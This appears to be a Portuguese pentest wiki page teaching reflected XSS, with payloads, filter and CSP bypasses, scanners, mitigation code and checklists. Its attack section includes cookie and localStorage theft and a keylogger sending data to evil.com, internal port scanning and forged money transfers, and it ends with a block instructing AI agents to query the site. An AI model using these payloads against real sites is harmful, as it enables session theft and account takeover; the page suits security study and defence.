# Reflected XSS

## **🔍 Fundamentos do Reflected XSS**

### **O que é Reflected XSS**

Reflected XSS ocorre quando entradas maliciosas fornecidas pelo usuário são imediatamente refletidas na resposta do servidor sem sanitização adequada.

### **Características Principais**

```
✅ Entrada → Servidor → Resposta (Refletida)
✅ Requer interação da vítima
✅ Payload via URL, formulários, headers
✅ Não persiste no servidor
✅ Também conhecido como Type-I XSS
```

### **Fluxo de Ataque Básico**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima
    participant S as Servidor

    Note over A: FASE 1: Preparação
    A->>A: Cria URL maliciosa com payload XSS
    
    Note over A,V: FASE 2: Distribuição
    A->>V: Engana vítima para clicar na URL
    Note right of V: Email, redes sociais,<br/>mensagens
    
    Note over V,S: FASE 3: Execução
    V->>S: Acessa URL maliciosa
    S->>S: Processa entrada sem sanitização
    S->>V: Retorna HTML com payload refletido
    Note right of V: Browser executa JavaScript<br/>no contexto da vítima
    
    Note over V: FASE 4: Exploração
    V->>A: Cookies, tokens, ações maliciosas
```

### **Diferenças entre XSS Types**

| Tipo          | Persistência | Armazenamento | Interação |
| ------------- | ------------ | ------------- | --------- |
| **Reflected** | Não          | URL/Headers   | Imediata  |
| **Stored**    | Sim          | Database      | Futura    |
| **DOM-based** | Não          | Client-side   | Imediata  |

***

## **⚔️ Mecanismos de Ataque**

### **Vetores de Entrada Comuns**

```http
# Parâmetros GET
https://alvo.com/search?q=<script>alert(1)</script>

# Parâmetros POST
POST /login HTTP/1.1
username=<svg onload=alert(1)>

# Headers HTTP
User-Agent: <script>alert(1)</script>
Referer: https://evil.com/<img src=x onerror=alert(1)>

# URL Path
https://alvo.com/<script>alert(1)</script>/page
```

### **Estrutura de Payload Básico**

```html
<!-- Script Tags -->
<script>alert(document.domain)</script>
<script src="https://evil.com/xss.js"></script>

<!-- Event Handlers -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- JavaScript URIs -->
<a href="javascript:alert(1)">Clique</a>
<iframe src="javascript:alert(1)">

<!-- CSS Injection -->
<div style="background:url('javascript:alert(1)')">
```

### **Contextos de Injeção**

```html
<!-- Dentro de tags HTML -->
<div>INJEÇÃO_AQUI</div>

<!-- Dentro de atributos -->
<input value="INJEÇÃO_AQUI">
<img src="INJEÇÃO_AQUI">

<!-- Dentro de JavaScript -->
<script>
var search = "INJEÇÃO_AQUI";
</script>

<!-- Dentro de comentários -->
<!-- INJEÇÃO_AQUI -->
```

***

## **🔧 Técnicas de Exploração**

### **Técnica 1: Reconhecimento e Mapeamento**

#### **1.1 Identificação de Parâmetros**

```javascript
// Script para extrair parâmetros da página
function extractParameters() {
    const params = {
        url: new URL(window.location.href),
        forms: Array.from(document.forms),
        inputs: Array.from(document.querySelectorAll('input, textarea, select'))
    };
    
    console.log('🔍 Parâmetros URL:', Object.fromEntries(params.url.searchParams));
    console.log('📋 Formulários encontrados:', params.forms.length);
    
    params.forms.forEach((form, index) => {
        console.log(`Form ${index}:`, {
            action: form.action,
            method: form.method,
            inputs: Array.from(form.elements).map(el => ({
                name: el.name,
                type: el.type,
                value: el.value
            }))
        });
    });
    
    return params;
}

// Uso no console
extractParameters();
```

#### **1.2 Teste com Payloads de Reconhecimento**

```javascript
// Payloads para testar reflexão
const testPayloads = [
    'xss_test',
    '<xss>',
    '"><xss>',
    '\'><xss>',
    '`><xss>',
    '--><xss>',
    '];xss//',
    '${xss}'
];

// Função de teste automático
function testReflection(param, value) {
    const url = new URL(window.location.href);
    url.searchParams.set(param, value);
    
    return fetch(url.toString())
        .then(response => response.text())
        .then(html => {
            return html.includes(value) ? 'REFLECTED' : 'NOT_REFLECTED';
        });
}
```

### **Técnica 2: Exploração por Contexto**

#### **2.1 Contexto HTML Básico**

```html
<!-- Fechamento de tag existente -->
"><script>alert(1)</script>

<!-- Sem fechamento necessário -->
</script><script>alert(1)</script>

<!-- Em comentários -->
--><script>alert(1)</script><!--
```

#### **2.2 Contexto de Atributos**

```html
<!-- Quebra de atributo -->
" onmouseover="alert(1)"
' onclick='alert(1)'
` onfocus=`alert(1)

<!-- Autofechamento de tag -->
"><img src=x onerror=alert(1)>

<!-- Em atributo src/href -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```

#### **2.3 Contexto JavaScript**

```javascript
// Quebra de string
"; alert(1); //
'; alert(1); //
`; alert(1); //

// Quebra de template literal
${alert(1)}

// Em funções
eval('alert(1)')
setTimeout('alert(1)')
Function('alert(1)')()
```

### **Técnica 3: Payloads Avançados**

#### **3.1 Stealing Cookies e Dados**

```javascript
// Exfiltração básica de cookies
<script>
var img = new Image();
img.src = 'https://evil.com/steal?c=' + document.cookie;
</script>

// Exfiltração avançada
<script>
fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        cookies: document.cookie,
        url: window.location.href,
        userAgent: navigator.userAgent,
        localStorage: JSON.stringify(localStorage)
    })
});
</script>
```

#### **3.2 Keylogging**

```javascript
<script>
document.onkeypress = function(e) {
    fetch('https://evil.com/log', {
        method: 'POST',
        body: 'key=' + e.key + '&page=' + window.location.href
    });
}
</script>
```

#### **3.3 Port Scanning Interno**

```javascript
<script>
function checkPort(host, port, callback) {
    var img = new Image();
    img.onload = function() { callback(port, 'open'); };
    img.onerror = function() { callback(port, 'closed'); };
    img.src = 'http://' + host + ':' + port + '/test.jpg';
}

// Varredura de portas comuns
var ports = [22, 80, 443, 8080, 3389];
ports.forEach(port => {
    checkPort('internal.server', port, function(port, status) {
        if(status === 'open') {
            fetch('https://evil.com/internal?port=' + port);
        }
    });
});
</script>
```

#### **3.4 CSRF com XSS**

```javascript
<script>
// Mudar email do usuário
fetch('/api/change-email', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@evil.com'})
});

// Fazer transferência bancária
fetch('/transfer', {
    method: 'POST',
    credentials: 'include',
    body: 'to=attacker&amount=1000'
});
</script>
```

***

## **🎯 Contextos de Injeção**

### **Contexto 1: Dentro de Tag HTML**

```html
<!-- Input: <script>alert(1)</script> -->
<div>SEU_INPUT</div>
<!-- Resultado: -->
<div><script>alert(1)</script></div>

<!-- Payloads eficazes: -->
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
```

### **Contexto 2: Dentro de Atributos**

```html
<!-- Input: " onmouseover="alert(1) -->
<input value="SEU_INPUT">
<!-- Resultado: -->
<input value="" onmouseover="alert(1)">

<!-- Payloads eficazes: -->
" onclick="alert(1)
' onfocus='alert(1)
` onblur=`alert(1)
"><script>alert(1)</script>
```

### **Contexto 3: Dentro de JavaScript**

```javascript
// Input: "; alert(1); //
var search = "SEU_INPUT";
// Resultado:
var search = ""; alert(1); //";

// Payloads eficazes:
"; alert(1); //
'; alert(1); //
</script><script>alert(1)</script>
```

### **Contexto 4: Dentro de Comentários HTML**

```html
<!-- Input: --><script>alert(1)</script><!-- -->
<!-- SEU_INPUT -->
<!-- Resultado: -->
<!-- --><script>alert(1)</script><!-- -->

<!-- Payloads eficazes: -->
--><script>alert(1)</script>
<!--<script>alert(1)</script>-->
```

### **Contexto 5: Em URLs/Paths**

```html
<!-- Input: <script>alert(1)</script> -->
<a href="/search/SEU_INPUT">Link</a>
<!-- Resultado: -->
<a href="/search/<script>alert(1)</script>">Link</a>

<!-- Payloads eficazes: -->
javascript:alert(1)
" onclick="alert(1)
```

***

## **🛡️ Bypass de Proteções**

### **Bypass 1: WAFs e Filtros Básicos**

#### **1.1 Case Manipulation**

```javascript
// Para filtros case-sensitive
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=X ONERROR=ALERT(1)>

// Mixed case
<ScRiPt>alert(1)</sCrIpT>
```

#### **1.2 Encoding Tricks**

```html
<!-- HTML Entities -->
&lt;script&gt;alert(1)&lt;/script&gt;

<!-- Hex Encoding -->
<script>alert(1)</script>

<!-- Unicode Encoding -->
<&#x73;cript>alert(1)</&#x73;cript>

<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E
```

#### **1.3 Double Encoding**

```html
<!-- Para filtros que decodificam uma vez -->
%253Cscript%253Ealert(1)%253C/script%253E

<!-- Em atributos -->
" onmouseover="alert(1)
%22%20onmouseover%3D%22alert(1)
```

### **Bypass 2: Sanitization Bypass**

#### **2.1 Tag Nesting**

```html
<scr<script>ipt>alert(1)</scr</script>ipt>

<!-- Para remoção recursiva -->
<scri<script>pt>alert(1)</script>

<!-- Para regex greedy -->
<scr<script>>ipt>alert(1)</script>
```

#### **2.2 Alternative Syntax**

```javascript
// Para filtros de "javascript:"
jaVasCript:alert(1)
&#106avascript:alert(1)

// Event handlers alternativos
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<body onpageshow=alert(1)>
```

#### **2.3 Template Literals**

```javascript
// Para escapes de string
`${alert(1)}`
${alert(1)}
```

### **Bypass 3: CSP Bypass para Reflected XSS**

#### **3.1 Unsafe-inline**

```html
<!-- Se CSP permite unsafe-inline -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>

<!-- Com nonce reutilizado -->
<script nonce="abc123">alert(1)</script>
```

#### **3.2 JSONP Endpoints**

```html
<!-- Se CSP permite domínio com JSONP -->
<script src="/api/jsonp?callback=alert(1)"></script>
<script src="https://trusted.com/jsonp?callback=alert(1)"></script>
```

#### **3.3 AngularJS Injection**

```html
<!-- Se Angular está presente -->
<div ng-app>{{ constructor.constructor('alert(1)')() }}</div>
```

***

## **🔍 Detecção e Ferramentas**

### **Ferramenta 1: Scanner de Reflected XSS**

```python
#!/usr/bin/env python3
# reflected_xss_scanner.py

import requests
import urllib.parse
from bs4 import BeautifulSoup
import json

class ReflectedXSSScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
        
    def extract_parameters(self, html_content):
        """Extrair parâmetros de formulários e URLs"""
        soup = BeautifulSoup(html_content, 'html.parser')
        parameters = {
            'forms': [],
            'url_params': set()
        }
        
        # Extrair parâmetros de formulários
        for form in soup.find_all('form'):
            form_data = {
                'action': form.get('action', ''),
                'method': form.get('method', 'GET').upper(),
                'inputs': []
            }
            
            for input_tag in form.find_all(['input', 'textarea', 'select']):
                form_data['inputs'].append({
                    'name': input_tag.get('name'),
                    'type': input_tag.get('type', 'text'),
                    'value': input_tag.get('value', '')
                })
            
            parameters['forms'].append(form_data)
        
        # Extrair parâmetros de URL
        url_parts = urllib.parse.urlparse(self.target)
        query_params = urllib.parse.parse_qs(url_parts.query)
        parameters['url_params'] = set(query_params.keys())
        
        return parameters
    
    def test_reflection(self, param, value, method='GET', data=None):
        """Testar reflexão de parâmetros"""
        if method.upper() == 'GET':
            url_parts = urllib.parse.urlparse(self.target)
            query_params = urllib.parse.parse_qs(url_parts.query)
            query_params[param] = value
            
            new_query = urllib.parse.urlencode(query_params, doseq=True)
            test_url = urllib.parse.urlunparse((
                url_parts.scheme, url_parts.netloc, url_parts.path,
                url_parts.params, new_query, url_parts.fragment
            ))
            
            response = self.session.get(test_url)
        else:
            if data is None:
                data = {}
            data[param] = value
            response = self.session.post(self.target, data=data)
        
        return value in response.text
    
    def generate_xss_payloads(self, context='html'):
        """Gerar payloads XSS baseados no contexto"""
        payloads = {
            'html': [
                '<script>alert("XSS")</script>',
                '<img src=x onerror=alert(1)>',
                '<svg onload=alert(1)>',
                '<body onload=alert(1)>'
            ],
            'attribute': [
                '" onmouseover="alert(1)',
                "' onclick='alert(1)",
                '` onfocus=`alert(1)',
                '"><script>alert(1)</script>'
            ],
            'javascript': [
                '"; alert(1); //',
                "'; alert(1); //",
                '`; alert(1); //',
                '</script><script>alert(1)</script>'
            ]
        }
        
        return payloads.get(context, [])
    
    def scan(self):
        """Executar scan completo"""
        try:
            # Requisição inicial para análise
            initial_response = self.session.get(self.target)
            parameters = self.extract_parameters(initial_response.text)
            
            print(f"🎯 Target: {self.target}")
            print(f"📋 Forms encontrados: {len(parameters['forms'])}")
            print(f"🔗 Parâmetros URL: {list(parameters['url_params'])}")
            
            # Testar parâmetros de URL
            for param in parameters['url_params']:
                print(f"🔍 Testando parâmetro: {param}")
                
                # Testar reflexão básica
                if self.test_reflection(param, 'XSS_TEST'):
                    print(f"  ✅ Reflexão detectada em {param}")
                    
                    # Testar payloads XSS
                    for context in ['html', 'attribute', 'javascript']:
                        payloads = self.generate_xss_payloads(context)
                        
                        for payload in payloads:
                            if self.test_reflection(param, payload):
                                self.vulnerabilities.append({
                                    'parameter': param,
                                    'payload': payload,
                                    'context': context,
                                    'type': 'REFLECTED_XSS'
                                })
                                print(f"    💉 XSS possível: {payload}")
            
            # Testar formulários
            for form in parameters['forms']:
                print(f"📝 Testando formulário: {form['action']}")
                
                for input_field in form['inputs']:
                    if input_field['name']:
                        param = input_field['name']
                        print(f"  🔍 Testando campo: {param}")
                        
                        # Testar reflexão
                        if self.test_reflection(param, 'XSS_TEST', form['method']):
                            print(f"    ✅ Reflexão detectada em {param}")
            
            return {
                'target': self.target,
                'vulnerabilities_found': len(self.vulnerabilities),
                'vulnerabilities': self.vulnerabilities
            }
            
        except Exception as e:
            return {'error': str(e)}

# Uso
if __name__ == "__main__":
    scanner = ReflectedXSSScanner('https://alvo.com/search?q=test')
    results = scanner.scan()
    print(json.dumps(results, indent=2))
```

### **Ferramenta 2: Testador de Contexto no Browser**

```javascript
// Testador de XSS para console do navegador
class XSSContextTester {
    constructor() {
        this.results = [];
        this.payloads = this.generateContextPayloads();
    }
    
    generateContextPayloads() {
        return {
            html: [
                '<script>alert("XSS_HTML")</script>',
                '<img src=x onerror="alert(1)">',
                '<svg onload="alert(1)">'
            ],
            attribute: [
                '" onmouseover="alert(1)',
                "' onclick='alert(1)'",
                '` onfocus=`alert(1)`',
                '"><script>alert(1)</script>'
            ],
            javascript: [
                '"; alert(1); //',
                "'; alert(1); //",
                '`; alert(1); //',
                '</script><script>alert(1)</script>'
            ],
            url: [
                'javascript:alert(1)',
                'data:text/html,<script>alert(1)</script>'
            ]
        };
    }
    
    testParameter(param, value) {
        const url = new URL(window.location.href);
        url.searchParams.set(param, value);
        
        return fetch(url.toString())
            .then(response => response.text())
            .then(html => {
                const reflection = html.includes(value);
                const execution = this.checkExecution(html, value);
                
                return {
                    reflection,
                    execution,
                    payload: value
                };
            });
    }
    
    checkExecution(html, payload) {
        // Verificar se payload foi executado
        // Esta é uma verificação simplificada
        const scriptTags = html.match(/<script[^>]*>[\s\S]*?<\/script>/gi) || [];
        
        for (const scriptTag of scriptTags) {
            if (scriptTag.includes(payload.replace(/<[^>]*>/g, ''))) {
                return true;
            }
        }
        
        return false;
    }
    
    async runTests() {
        const urlParams = new URLSearchParams(window.location.search);
        
        for (const [param, value] of urlParams) {
            console.log(`🔍 Testando parâmetro: ${param}`);
            
            for (const [context, contextPayloads] of Object.entries(this.payloads)) {
                for (const payload of contextPayloads) {
                    try {
                        const result = await this.testParameter(param, payload);
                        
                        if (result.reflection) {
                            this.results.push({
                                parameter: param,
                                context: context,
                                payload: payload,
                                reflection: true,
                                execution: result.execution
                            });
                            
                            console.log(`  ✅ ${context}: ${payload}`);
                        }
                    } catch (error) {
                        console.log(`  ❌ Erro: ${error.message}`);
                    }
                }
            }
        }
        
        return this.results;
    }
}

// Uso no console
const tester = new XSSContextTester();
tester.runTests().then(results => {
    console.table(results);
});
```

### **Ferramentas Externas**

```bash
# OWASP ZAP
zap-baseline.py -t https://alvo.com

# XSStrike
git clone https://github.com/s0md3v/XSStrike
python3 xsstrike.py -u "https://alvo.com/search?q=test"

# Nuclei
nuclei -u https://alvo.com -t xss

# Burp Suite Scanner
# Ativar scanner automático
```

***

## **🛡️ Mitigação e Prevenção**

### **Estratégia de Defesa em Camadas**

#### **1. Input Validation**

```javascript
// Validação no frontend (camada adicional)
function sanitizeInput(input) {
    return input
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;')
        .replace(/\//g, '&#x2F;');
}

// Validação de formato específico
function validateEmail(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(email);
}

function validateAlphanumeric(input) {
    const alphaRegex = /^[a-zA-Z0-9]+$/;
    return alphaRegex.test(input);
}
```

#### **2. Output Encoding**

```javascript
// Encoding contextual
function encodeForHTML(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

function encodeForAttribute(text) {
    return text
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;');
}

function encodeForJS(text) {
    return text
        .replace(/\\/g, '\\\\')
        .replace(/"/g, '\\"')
        .replace(/'/g, "\\'")
        .replace(/\n/g, '\\n')
        .replace(/\r/g, '\\r')
        .replace(/\t/g, '\\t');
}
```

#### **3. HTTP Security Headers**

```http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
```

### **Implementação Backend Segura**

#### **Express.js com Sanitização**

```javascript
const express = require('express');
const helmet = require('helmet');
const xss = require('xss-clean');

const app = express();

// Security headers
app.use(helmet());

// XSS protection middleware
app.use(xss());

// Sanitização customizada
app.use((req, res, next) => {
    // Sanitizar query parameters
    if (req.query) {
        for (let key in req.query) {
            if (typeof req.query[key] === 'string') {
                req.query[key] = sanitizeInput(req.query[key]);
            }
        }
    }
    
    // Sanitizar body parameters
    if (req.body) {
        for (let key in req.body) {
            if (typeof req.body[key] === 'string') {
                req.body[key] = sanitizeInput(req.body[key]);
            }
        }
    }
    
    next();
});

function sanitizeInput(input) {
    const map = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '"': '&quot;',
        "'": '&#x27;',
        '/': '&#x2F;'
    };
    const reg = /[&<>"'/]/ig;
    return input.replace(reg, (match) => (map[match]));
}

// Template engine segura (EJS example)
app.get('/search', (req, res) => {
    const query = req.query.q || '';
    
    // Encoding automático no template
    res.render('search', {
        query: query, // Será automaticamente encoded no template
        safeQuery: encodeForHTML(query) // Encoding explícito
    });
});
```

#### **Django com Proteções Built-in**

```python
# Django tem proteções XSS por padrão
# Templates fazem auto-escaping

from django.utils.html import escape
from django.http import HttpResponse

def search_view(request):
    query = request.GET.get('q', '')
    
    # Escape manual se necessário
    safe_query = escape(query)
    
    return HttpResponse(f'Resultados para: {safe_query}')

# No template Django
"""
<!-- Auto-escaping habilitado -->
<p>{{ query }}</p>

<!-- Se necessário desabilitar (perigoso) -->
<p>{{ query|safe }}</p>
"""
```

### **Proteções no Frontend**

#### **1. Safe DOM Manipulation**

```javascript
// UNSAFE - InnerHTML
document.getElementById('result').innerHTML = userInput;

// SEGURO - TextContent
document.getElementById('result').textContent = userInput;

// SEGURO - createElement
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);

// SEGURO - setAttribute seguro
element.setAttribute('data-value', userInput); // Seguro para data-*
element.setAttribute('src', userInput); // Validar URL primeiro!
```

#### **2. Template Literals Seguros**

```javascript
// UNSAFE
const html = `<div>${userInput}</div>`;

// SEGURO
const html = `<div>${encodeForHTML(userInput)}</div>`;

// OU usando tagged templates
function safeHTML(strings, ...values) {
    return strings.reduce((result, str, i) => {
        const value = values[i] ? encodeForHTML(values[i]) : '';
        return result + str + value;
    }, '');
}

const safeHtml = safeHTML`<div>${userInput}</div>`;
```

***

## **📊 Casos Reais e Labs**

### **Caso 1: E-commerce - Parâmetro de Busca**

```http
VULNERÁVEL:
https://loja.com/search?q=<script>alert(1)</script>

CAUSA:
<div class="results">
    Resultados para: <?php echo $_GET['q']; ?>
</div>

CORREÇÃO:
<div class="results">
    Resultados para: <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES); ?>
</div>
```

### **Caso 2: Rede Social - Mensagem de Erro**

```http
VULNERÁVEL:
https://rede.com/login?error=Usuário+<script>alert(1)</script>+não+encontrado

CAUSA:
<div class="error">
    <?php echo $_GET['error']; ?>
</div>

CORREÇÃO:
<div class="error">
    <?php echo htmlspecialchars($_GET['error'], ENT_QUOTES); ?>
</div>
```

### **Caso 3: Aplicação Bancária - Redirect**

```http
VULNERÁVEL:
https://banco.com/login?redirect=javascript:alert(1)

CAUSA:
<a href="<?php echo $_GET['redirect']; ?>">Continuar</a>

CORREÇÃO:
<?php
$redirect = filter_var($_GET['redirect'], FILTER_VALIDATE_URL);
if ($redirect) {
    echo '<a href="' . htmlspecialchars($redirect) . '">Continuar</a>';
}
?>
```

### **Labs Práticos**

```bash
# PortSwigger Web Security Academy
https://portswigger.net/web-security/cross-site-scripting/reflected

# Google XSS Game
https://xss-game.appspot.com/

# bWAPP
https://sourceforge.net/projects/bwapp/
```

***

## **📋 Checklist de Segurança**

### **Checklist de Prevenção**

* [ ] **Input Validation**
  * [ ] Validação no client-side (UX)
  * [ ] Validação no server-side (Segurança)
  * [ ] Whitelist de caracteres permitidos
  * [ ] Validação de formato específico
* [ ] **Output Encoding**
  * [ ] Encoding contextual (HTML, Attribute, JS)
  * [ ] Auto-escaping em templates
  * [ ] Sanitização para contextos específicos
* [ ] **Security Headers**
  * [ ] CSP implementado
  * [ ] X-XSS-Protection
  * [ ] X-Content-Type-Options
  * [ ] X-Frame-Options
* [ ] **Safe APIs**
  * [ ] textContent vs innerHTML
  * [ ] setAttribute seguro
  * [ ] Avoid eval(), setTimeout(string)

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Mapeamento de parâmetros
  * [ ] Identificação de pontos de reflexão
  * [ ] Análise de contextos
* [ ] **Exploração**
  * [ ] Teste com payloads básicos
  * [ ] Teste de bypass de WAF
  * [ ] Verificação de diferentes contextos
  * [ ] Teste de exfiltração
* [ ] **Validação**
  * [ ] Verificar mitigações
  * [ ] Testar encoding
  * [ ] Validar headers de segurança

***

## **⚠️ Considerações Finais**

### **Impacto do Reflected XSS**

```json
{
  "impacto_alto": [
    "Roubo de cookies de sessão",
    "Captura de credenciais",
    "Execução de ações em nome do usuário",
    "Redirecionamento para phishing"
  ],
  "impacto_medio": [
    "Defacement da página",
    "Keylogging",
    "Port scanning interno",
    "Furto de informações locais"
  ]
}
```

### **Estatísticas Importantes**

* ⚠️ **74%** das vulnerabilidades em aplicações web são XSS
* ⚠️ **Reflected XSS** representa \~50% dos casos XSS
* ⚠️ **Filtros inadequados** são a causa principal
* ⚠️ **Context awareness** é crucial para prevenção

### **Recomendações Finais**

1. **Nunca confie** em validação apenas no client-side
2. **Use encoding contextual** - HTML, Attribute, JavaScript
3. **Implemente CSP** como camada de defesa adicional
4. **Eduque desenvolvedores** sobre práticas seguras
5. **Teste continuamente** com scanners e revisão manual

**🔐 Lembre-se**: Reflected XSS é uma das vulnerabilidades mais comuns e perigosas. A defesa eficaz requer uma abordagem em camadas e atenção aos detalhes de implementação.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/front-end/reflected-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
